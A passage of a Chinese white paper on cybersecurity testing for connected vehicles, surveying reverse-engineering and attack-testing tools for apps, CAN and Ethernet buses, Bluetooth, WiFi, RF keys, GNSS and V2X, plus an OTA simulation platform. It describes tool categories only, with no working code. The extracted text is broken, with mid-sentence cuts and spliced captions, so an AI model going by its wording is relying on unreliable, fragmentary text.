可以将APK文件中的Dalvik字节码转换为Java字节码的工具。转换后的字节码可以使用Java反编译工具进一步分析，帮助用lFrida：一个动态插桩框架，支持Android和iOS平台。它允许分析人修改和监控等操作。这有助于深入分析应用的运行时行为、获取敏感信它具有较强的反汇编功能，能够将二进制代码转换为汇编代码，并且支2）iOS平台APP应用逆向分析工具：用户理解应用的内部逻辑和算法。它具有友好的用户界面和强大的分析lCycript：是一种JavaScript解释器，可用于在iOS运行时环境中动态智能网联汽车信息安全测试白皮书(2025)地探索和修改应用程序。分析人员可以使用Cycript与正在运行的iOS应用进行交互，查看和修改应用的属性、方法和变量等，对于快速了解lClutch：主要用于对iOS应用进行脱壳处理。由于一些iOS应用会进lFiddler：是一个实用的网络调试工具，虽然不是专门的逆向分析工具，但在APP逆向分析中经常被使用。它可以捕获和分析应用程序的网络流量，帮助用户了解应用与服务器之间的通信过程、请求和响应的数据等。对于分析应用的网络行为和发现潜在的安作系统。它可以拦截和分析应用的网络请求，并且提供了丰富的功能如限分析、APP敏感信息分析、APP数据销毁测试、APP调试功能分析、APP恶图6-9APP安全测试工具示意图智能网联汽车信息安全测试白皮书(2025)APP的运行需要有相应的系统环境，主要的系统环境有苹果公司的iOS和图6-10车载总线测试工具示意图安全测试工具支持对多种协议的攻击测试，包括DDoS攻击、SOME/IP测试、DoIP测试、中间人测试、恶意流量测试、防火墙策略测试、TLS测试、DTLS智能网联汽车信息安全测试白皮书(2025)图6-11车载以太网安全测试工具示意图随着车内ECU数量的持续增加，车载以太网不仅可以满足汽车制造商对带图6-12车载以太网与普通以太网对比智能网联汽车信息安全测试白皮书(2025)漏洞测试、蓝牙PIN码测试、蓝牙重放攻击测试、蓝牙篡改重放攻击测试、蓝图6-13蓝牙安全测试工具示意图也被称为BLE模块，最大的特点就是有传输远(≤300米）、功耗低、延迟WiFi安全测试工具支持经AP和STA两种模式，满足安全的测试需求。测试对象为车载WiFi及其他具备WiFi功能的设备，支持智能网联汽车信息安全测试白皮书(2025)图6-14WiFi安全测试工具示意范围内的本地无线接入点；另外一种模式是热点(AP)模式与站点模式，可让用户在使用时切换模式。AP模式:AccessPoint，提供无线接入服务，允许其它无Station,类似于无线终端，STA本身并不接受无线的接入，它可以连接到AP，车载WiFi根据厂家设计方案不同其所附载的位置有所不同，主机和TBOX两个零部件。通过车辆上远程通讯控制器TBOX，为乘客提供优质的WiFi上网服务，还可以提供本地音视频、导航、行驶记录仪等多媒体服可实现车队动态远程实时监控，简化车辆调智能网联汽车信息安全测试白皮书(2025)图6-15移动蜂窝安全测试工具示意图125K/315M/433M/915MHz/868MHz等频段，可进行低频信号中间人攻击测试、图6-16射频钥匙安全测试工具示意图（PEPS），即我们常说的射频遥控钥匙。国产汽车射频钥匙所使用的频段为GNSS安全测试工具支持GPS/BDS/GLONASS/Galileo四大卫星定位信号，智能网联汽车信息安全测试白皮书(2025)图6-17GNSS安全分析测试工具其主要用RFID开发人员的嗅探、读取NFC近场通讯，是由非接触式射频识别（RFID）及互连互通技术整合演变三种。NFCIP-1标准详细规定NFC设备的传输速度及射频接口的帧格式，此标准中还定义了NFC的传输协议，其中包括启动协议V2X安全测试工具是对V2X信息安全进行测并给相对应的修复建议，测试范围包括V2X通信数据安全、证书安全、消息真智能网联汽车信息安全测试白皮书(2025)图6-18V2X安全测试工具示意图6-19数据安全测试工具示意蓝牙、WiFi等传输通信数据和车机交互中内存数据、系统数据、运行数据等。智能网联汽车信息安全测试白皮书(2025)图6-20数据全生命周期中重要数据FTP等协议，向被测对象发送大量的垃圾报文/畸形报文，查看被图6-21模糊测试工具示意l芯片级测试工具：例如一些专门用于测试芯片安全性的工具，可以对汽车电子系统中的芯片进行物理层面的安全测试，包括芯片的加密功能、l总线协议分析仪：用于分析汽车电子系统中的总线通信协议，如CAN总线、LIN总线等。通过对总线通信的监测和分析，可以发现总线通信智能网联汽车信息安全测试白皮书(2025)6.2.汽车网络安全仿真测试平台智能网联汽车信息安全测试白皮书(2025)图6-22汽车网络安全仿真平台层次架构试验场景的知识图谱，对攻击与漏洞进行关联分析，识别有效攻击（包括APT图6-23汽车网络安全仿真平台功能结构智能网联汽车信息安全测试白皮书(2025)行为分析、漏洞统计、攻击路径分析、异常流制流和数据流。以汽车远程升级安全仿真分系统为智能网联汽车信息安全测试白皮书(2025)图6-24汽车远程升级安全仿真分系统控制流（1）准备阶段。测试管理人员根据测试计划下发测试任务到汽车业务仿真（2）运行阶段。攻击角色根据测试运行时目标环境提供的测试用例库、工智能网联汽车信息安全测试白皮书(2025)图6-25汽车远程升级安全仿真分系统数据流智能网联汽车信息安全测试白皮书(2025)仿真平台模块、通信通道仿真模块、车辆端仿真台架模块、OTA主升级程序和图6-26汽车远程升级业务仿真子系统组成图l远程升级服务端仿真平台模块：在服务器上实现远程升级的云端管理功能，对远程升级业务进行管理和控制。远程升级服务端仿真平台模块主智能网联汽车信息安全测试白皮书(2025)集代理、TSP、安全服务平台、版本管理平台、差分管理平台和生产数l通信通道仿真模块：模拟3G/4G/5G、WiFi等无线信道，支持车辆端设lOTA主升级程序和OTA从客户端程序模块：主要完成车辆端的升级功能，与服务端仿真平台模块通过通信信道仿真模块进行业务通信及升级包传输，提供升级包下载、升级流程执行、升级安全管控、升级信息和节点升级控制程序模块与具体升级设备单元的通信传输控制则依靠车辆其中OTA主升级程序是系统OTA业务核心部件，由其进行与服务端的业务通信、数据上传和升级包下载等，因此其中MCU部分需要通过调用传统ECU节点升级控制程序l传统ECU节点升级控制程序模块：ECU是在车辆台架上运行的一种典型控制单元，完成对车辆的控制逻辑。作为远程升级的一类典型升级场智能网联汽车信息安全测试白皮书(2025)辆端/服务平台端/通信通道的信号或数据的采集功能、信号或数据的解析功能、图6-27智能网联汽车安全仿真平台接入总体结构a)信号/数据采集功能对车辆内部和外部的通信信号或数据进行采集，包括c)信息攻击功能根据信号解析的结果，基于智能汽车脆弱性数据库及其利d)仿真平台应用基于仿真测试的结果对智能汽车的安全性进行评估，包括智能网联汽车信息安全测试白皮书(2025)智能网联汽车仿真平台的信号/数据采集的内容如图所示，主要包括车内通号/数据采集包括车载以太网信号/数据采集和CAN/CANFD信号/数据采集等；通信接口、蓝牙接口、RFID接口、生物特征识别系统接口、雷达接口等）、接智能网联汽车信息安全测试白皮书(2025)图6-28智能网联汽车仿真平台信号/数据采集内容智能网联汽车安全仿真平台的信号/数据解析主要包括通信链路数据解析、a)通信链路数据解析针对智能网联汽车通信链路的物理层和链路层的信息b)通信协议解析应分析出通信协议的格式和内a)从攻击对象上，可针对汽车设备、通信通道、云服务平台或其他外部环境设施的攻击，或者针对智能网联汽车典型业务场景（包括b)从攻击方法上，可包括对汽车系统的入侵、数据窃取、越权访问、非法智能网联汽车信息安全测试白皮书(2025)c)从攻击复杂性上，可分为简单攻击、复杂攻击等。复杂攻击通常涉及多图6-29智能网联汽车信息攻击功能7.测试工作量分析与启示7.1.测试工作量案例分析背景：2021年，某车企车辆因CAN总线协议漏洞被曝出可远程操控车辆智能网联汽车信息安全测试白皮书(2025)背景：2022年某车企云平台API接口被攻击，导致10